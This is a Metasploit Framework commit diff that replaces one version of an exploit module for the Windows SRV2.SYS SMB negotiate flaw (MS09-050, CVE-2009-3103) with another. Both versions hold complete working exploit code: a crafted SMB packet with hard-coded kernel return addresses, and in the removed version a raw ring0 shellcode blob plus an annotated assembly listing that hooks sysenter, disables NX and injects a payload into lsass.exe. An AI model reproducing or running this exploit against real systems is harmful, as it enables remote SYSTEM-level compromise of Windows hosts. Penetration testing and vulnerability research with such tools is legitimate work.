rename this module with the updated MSB and swap out the hard coded kernel stager for the new kernel stager mixin.
git-svn-id: file:///home/svn/framework3/trunk@8656 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Stephen Fewer
parent
88cc851a41
commit
b4339930e7
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@ -0,0 +1,149 @@
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::SMB
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include Msf::Exploit::KernelMode
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
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'Description' => %q{
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This module exploits an out of bounds function table dereference in the SMB
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request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
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release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
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without SP1 does not seem affected by this flaw.
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},
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'Author' => [ 'laurent.gaffie[at]gmail.com', 'hdm', 'sf' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'MSB', 'MS09-050' ],
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[ 'CVE', '2009-3103' ],
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[ 'BID', '36299' ],
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[ 'OSVDB', '57799' ],
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[ 'URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html' ],
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[ 'URL', 'http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'StackAdjustment' => -3500,
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'DisableNops' => true,
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'EncoderType' => Msf::Encoder::Type::Raw,
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'ExtendedOptions' =>
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{
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'Stager' => 'stager_sysenter_hook',
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}
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Vista SP1/SP2 and Server 2008 (x86)',
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{
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'Platform' => 'win',
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'Arch' => [ ARCH_X86 ],
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'Ret' => 0xFFD00D09, # "POP ESI; RET" from the kernels HAL memory region ...no ASLR :)
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'ReadAddress' => 0xFFDF0D04, # A readable address from kernel space (no nulls in address).
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'ProcessIDHigh' => 0x0217, # srv2!SrvSnapShotScavengerTimer
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'MagicIndex' => 0x3FFFFFB4, # (DWORD)( MagicIndex*4 + 0x130 ) == 0
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}
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],
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],
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'DefaultTarget' => 0
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))
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register_options( [ Opt::RPORT(445), OptInt.new( 'WAIT', [ true, "The number of seconds to wait for the attack to complete.", 180 ] ) ], self.class )
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end
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# Not reliable enough for automation yet
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def autofilter
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false
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end
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def exploit
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print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." )
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connect
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# we use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest
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# and srv2!SrvProcPartialCompleteCompoundedRequest
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dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ]
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data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
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data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's
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data += [ 0xFFFFFFFF ].pack("V") # Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b)
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data += [ 0xFFFFFFFF ].pack("V") # Used in srv2!SrvConsumeDataAndComplete2+0x34
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data += [ 0x42424242 ].pack("V") * 7 # Unused
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data += [ target['MagicIndex'] ].pack("V") # An index to force an increment the SMB header value :) (srv2!SrvConsumeDataAndComplete2+0x7E)
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data += [ 0x41414141 ].pack("V") * 6 # Unused
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data += [ target.ret ].pack("V") # EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2
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data += payload.encoded # Our ring0 -> ring3 shellcode
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# We gain code execution by returning into the SMB packet, begining with its header.
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# The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX"
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# This will cause an access violation if executed as we can never set EBX to a valid pointer.
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# To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42.
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# This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer.
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# We patch the Signature1 value to be a jump forward into our shellcode.
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packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
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packet['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
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packet['Payload']['SMB'].v['Flags1'] = 0x18
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packet['Payload']['SMB'].v['Flags2'] = 0xC853
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packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
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packet['Payload']['SMB'].v['Signature1'] = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
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packet['Payload']['SMB'].v['Signature2'] = 0x00000000 # ...
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packet['Payload']['SMB'].v['MultiplexID'] = rand( 0x10000 )
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packet['Payload'].v['Payload'] = data
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packet = packet.to_s
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print_status( "Sending the exploit packet (#{packet.length} bytes)..." )
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sock.put( packet )
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wtime = datastore['WAIT'].to_i
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print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." )
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stime = Time.now.to_i
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poke_logins = %W{Guest Administrator}
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poke_logins.each do |login|
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begin
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sec = connect(false)
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sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1))
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rescue ::Exception => e
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sec.socket.close
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end
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end
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while( stime + wtime > Time.now.to_i )
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select(nil, nil, nil, 0.25)
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break if session_created?
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end
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handler
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disconnect
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end
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end
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@ -1,315 +0,0 @@
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::SMB
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
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'Description' => %q{
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This module exploits an out of bounds function table dereference in the SMB
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request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
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release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
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without SP1 does not seem affected by this flaw.
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},
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'Author' => [ 'laurent.gaffie[at]gmail.com', 'hdm', 'sf' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2009-3103'],
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['BID', '36299'],
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['OSVDB', '57799'],
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['URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html'],
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['URL', 'http://www.microsoft.com/technet/security/advisory/975497.mspx']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'StackAdjustment' => -3500,
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'DisableNops' => true,
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'EncoderType' => Msf::Encoder::Type::Raw,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Vista SP1/SP2 and Server 2008 (x86)',
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{
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'Platform' => 'win',
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'Arch' => [ ARCH_X86 ],
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'Ret' => 0xFFD00D09, # "POP ESI; RET" from the kernels HAL memory region ...no ASLR :)
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'ReadAddress' => 0xFFDF0D04, # A readable address from kernel space (no nulls in address).
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'ProcessIDHigh' => 0x0217, # srv2!SrvSnapShotScavengerTimer
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'MagicIndex' => 0x3FFFFFB4, # (DWORD)( MagicIndex*4 + 0x130 ) == 0
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}
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],
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],
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'DefaultTarget' => 0
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))
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register_options( [ Opt::RPORT(445), OptInt.new( 'WAIT', [ true, "The number of seconds to wait for the attack to complete.", 180 ] ) ], self.class )
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end
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# Not reliable enough for automation yet
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def autofilter
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false
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end
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# The payload works as follows:
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# * Our sysenter handler and ring3 stagers are copied over to safe location.
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# * The SYSENTER_EIP_MSR is patched to point to our sysenter handler.
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# * The srv2.sys thread we are in is placed in a halted state.
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# * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.
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# * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.
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# * If NX is enabled we patch the respective page table entry to disable it for the ring3 code.
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# * Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.
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# * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.
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def ring0_x86_payload( opts = {} )
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# The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
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pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00
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# The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
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kstager = opts['StagerAddressKernel'] || 0xFFDF0400
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# The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
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ustager = opts['StagerAddressUser'] || 0x7FFE0400
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# Target SYSTEM process to inject ring3 payload into.
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process = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')
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# A simple hash of the process name based on the first 4 wide chars.
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# Assumes process is located at '*:\windows\system32\'. (From Rex::Payloads::Win32::Kernel::Stager)
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checksum = process[0] + ( process[2] << 8 ) + ( process[1] << 16 ) + ( process[3] << 24 )
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# The ring0 -> ring3 payload blob. Full assembly listing given below.
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r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" +
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"\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
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"\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
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"\x58\x8B\x58\x57\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
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"\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x34" +
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"\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x28\x8B\x58\x5F\x8D" +
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"\x5B\x6C\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
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"\x00\x74\x11\xBA\x45\x45\x45\x45\x81\xC2\x04\x00\x00\x00\x81\x22" +
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"\xFF\xFF\xFF\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43" +
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"\x43\x43\x43\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2E" +
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"\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" +
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"\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" +
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"\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"
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# Patch in the required values.
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r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + payload.encoded.length - 0x1C ) ].pack("V") )
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r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
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r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
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r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
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r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )
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# Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
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return r0 + payload.encoded
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end
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def exploit
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print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." )
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connect
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# we use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest
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# and srv2!SrvProcPartialCompleteCompoundedRequest
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dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ]
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data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
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data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's
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data += [ 0xFFFFFFFF ].pack("V") # Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b)
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data += [ 0xFFFFFFFF ].pack("V") # Used in srv2!SrvConsumeDataAndComplete2+0x34
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data += [ 0x42424242 ].pack("V") * 7 # Unused
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data += [ target['MagicIndex'] ].pack("V") # An index to force an increment the SMB header value :) (srv2!SrvConsumeDataAndComplete2+0x7E)
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data += [ 0x41414141 ].pack("V") * 6 # Unused
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data += [ target.ret ].pack("V") # EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2
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data += ring0_x86_payload( target['PayloadOptions'] || {} ) # Our ring0 -> ring3 shellcode
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# We gain code execution by returning into the SMB packet, begining with its header.
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# The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX"
|
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# This will cause an access violation if executed as we can never set EBX to a valid pointer.
|
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# To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42.
|
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# This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer.
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# We patch the Signature1 value to be a jump forward into our shellcode.
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packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
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packet['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
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packet['Payload']['SMB'].v['Flags1'] = 0x18
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packet['Payload']['SMB'].v['Flags2'] = 0xC853
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packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
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packet['Payload']['SMB'].v['Signature1'] = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
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packet['Payload']['SMB'].v['Signature2'] = 0x00000000 # ...
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packet['Payload']['SMB'].v['MultiplexID'] = rand( 0x10000 )
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packet['Payload'].v['Payload'] = data
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packet = packet.to_s
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print_status( "Sending the exploit packet (#{packet.length} bytes)..." )
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sock.put( packet )
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wtime = datastore['WAIT'].to_i
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print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." )
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stime = Time.now.to_i
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poke_logins = %W{Guest Administrator}
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poke_logins.each do |login|
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begin
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sec = connect(false)
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sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1))
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rescue ::Exception => e
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sec.socket.close
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end
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end
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while( stime + wtime > Time.now.to_i )
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select(nil, nil, nil, 0.25)
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break if session_created?
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end
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handler
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disconnect
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end
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end
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=begin
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;===================================================================================
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; sf
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; Recommended Reading: Kernel-mode Payloads on Windows, 2005, bugcheck & skape.
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; http://www.uninformed.org/?v=3&a=4&t=sumry
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;===================================================================================
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[bits 32]
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[org 0]
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;===================================================================================
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ring0_migrate_start:
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cld
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cli
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jmp short ring0_migrate_bounce ; jump to bounce to get ring0_stager_start address
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ring0_migrate_patch:
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pop esi ; pop off ring0_stager_start address
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; get current sysenter msr (nt!KiFastCallEntry)
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push 0x176 ; SYSENTER_EIP_MSR
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pop ecx
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rdmsr
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; save origional sysenter msr (nt!KiFastCallEntry)
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mov dword [ esi + ( ring0_stager_data - ring0_stager_start ) + 0 ], eax
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; retrieve the address in kernel memory where we will write the ring0 stager + ring3 code
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mov edi, dword [ esi + ( ring0_stager_data - ring0_stager_start ) + 4 ]
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; patch sysenter msr to be our stager
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mov eax, edi
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wrmsr
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; copy over stager to shared memory
|
||||
mov ecx, 0x41414141 ; ( ring3_stager - ring0_stager_start + length(ring3_stager) )
|
||||
rep movsb
|
||||
sti ; set interrupt flag
|
||||
; Halt this thread to avoid problems.
|
||||
ring0_migrate_idle:
|
||||
hlt
|
||||
jmp short ring0_migrate_idle
|
||||
ring0_migrate_bounce:
|
||||
call ring0_migrate_patch ; call the patch code, pushing the ring0_stager_start address to stack
|
||||
;===================================================================================
|
||||
; This stager will now get called every time a ring3 process issues a sysenter
|
||||
ring0_stager_start:
|
||||
push byte 0 ; alloc a dword for the patched return address
|
||||
pushfd ; save flags and registers
|
||||
pushad
|
||||
call ring0_stager_eip
|
||||
ring0_stager_eip:
|
||||
pop eax
|
||||
; patch in the real nt!KiFastCallEntry address as our return address
|
||||
mov ebx, dword [ eax + ( ring0_stager_data - ring0_stager_eip ) + 0 ]
|
||||
mov [ esp + 36 ], ebx
|
||||
; see if we are being told to remove our sysenter hook...
|
||||
cmp ecx, 0xDEADC0DE
|
||||
jne ring0_stager_hook
|
||||
push 0x176 ; SYSENTER_EIP_MSR
|
||||
pop ecx
|
||||
mov eax, ebx ; set the sysenter msr to be the real nt!KiFastCallEntry address
|
||||
xor edx, edx
|
||||
wrmsr
|
||||
xor eax, eax ; clear eax (the syscall number) so we can continue
|
||||
jmp short ring0_stager_finish
|
||||
ring0_stager_hook:
|
||||
; get the origional r3 return address (edx is the ring3 stack pointer)
|
||||
mov esi, [ edx ]
|
||||
; determine if the return is to a "ret" instruction
|
||||
movzx ebx, byte [ esi ]
|
||||
cmp bx, 0xC3
|
||||
; only insert our ring3 stager hook if we are to return to a single ret (for stability).
|
||||
jne short ring0_stager_finish
|
||||
; calculate our r3 address in shared memory
|
||||
mov ebx, dword [ eax + ( ring0_stager_data - ring0_stager_eip ) + 8 ]
|
||||
lea ebx, [ ebx + ring3_start - ring0_stager_start ]
|
||||
; patch in our r3 stage as the r3 return address
|
||||
mov [ edx ], ebx
|
||||
; detect if NX is present (clobbers eax,ebx,ecx,edx)...
|
||||
mov eax, 0x80000001
|
||||
cpuid
|
||||
and edx, 0x00100000 ; bit 20 is the NX bit
|
||||
jz short ring0_stager_finish
|
||||
; modify the correct page table entry to make our ring3 stager executable
|
||||
mov edx, 0x45454545 ; we default to 0xC03FFF00 this for now (should calculate dynamically).
|
||||
add edx, 4
|
||||
and dword [ edx ], 0x7FFFFFFF ; clear the NX bit
|
||||
; finish up by returning into the real KiFastCallEntry and then returning into our ring3 code (if hook was set).
|
||||
ring0_stager_finish:
|
||||
popad ; restore registers
|
||||
popfd ; restore flags
|
||||
ret ; return to real nt!KiFastCallEntry
|
||||
ring0_stager_data:
|
||||
dd 0xFFFFFFFF ; saved nt!KiFastCallEntry
|
||||
dd 0x42424242 ; kernel memory address of stager (default to 0xFFDF0400)
|
||||
dd 0x43434343 ; shared user memory address of stager (default to 0x7FFE0400)
|
||||
;===================================================================================
|
||||
ring3_start:
|
||||
pushad
|
||||
push byte 0x30
|
||||
pop eax
|
||||
cdq ; zero edx
|
||||
mov ebx, [ fs : eax ] ; get the PEB
|
||||
cmp [ ebx + 0xC ], edx
|
||||
jz ring3_finish
|
||||
mov eax, [ ebx + 0x10 ] ; get pointer to the ProcessParameters (_RTL_USER_PROCESS_PARAMETERS)
|
||||
mov eax, [ eax + 0x3C ] ; get the current processes ImagePathName (unicode string)
|
||||
add eax, byte 0x28 ; advance past '*:\windows\system32\' (we assume this as we want a system process).
|
||||
mov ecx, [ eax ] ; compute a simple hash of the name. get first 2 wide chars of name 'l\x00s\x00'
|
||||
add ecx, [ eax + 0x3 ] ; and add '\x00a\x00s'
|
||||
cmp ecx, 0x44444444 ; check the hash (default to hash('lsass.exe') == 0x7373616C)
|
||||
jne ring3_finish ; if we are not currently in the correct process, return to real caller
|
||||
call ring3_cleanup ; otherwise we first remove our ring0 sysenter hook
|
||||
call ring3_stager ; and then call the real ring3 payload
|
||||
jmp ring3_finish ; should the payload return we can resume this thread correclty.
|
||||
ring3_cleanup:
|
||||
mov ecx, 0xDEADC0DE ; set the magic value for ecx
|
||||
mov edx, esp ; save our esp in edx for sysenter
|
||||
sysenter ; now sysenter into ring0 to remove the sysenter hook (return to ring3_cleanup's caller).
|
||||
ring3_finish:
|
||||
popad
|
||||
ret ; return to the origional system calls caller
|
||||
;===================================================================================
|
||||
ring3_stager:
|
||||
; ...ring3 stager here...
|
||||
;===================================================================================
|
||||
=end
|
||||
Loading…
Reference in New Issue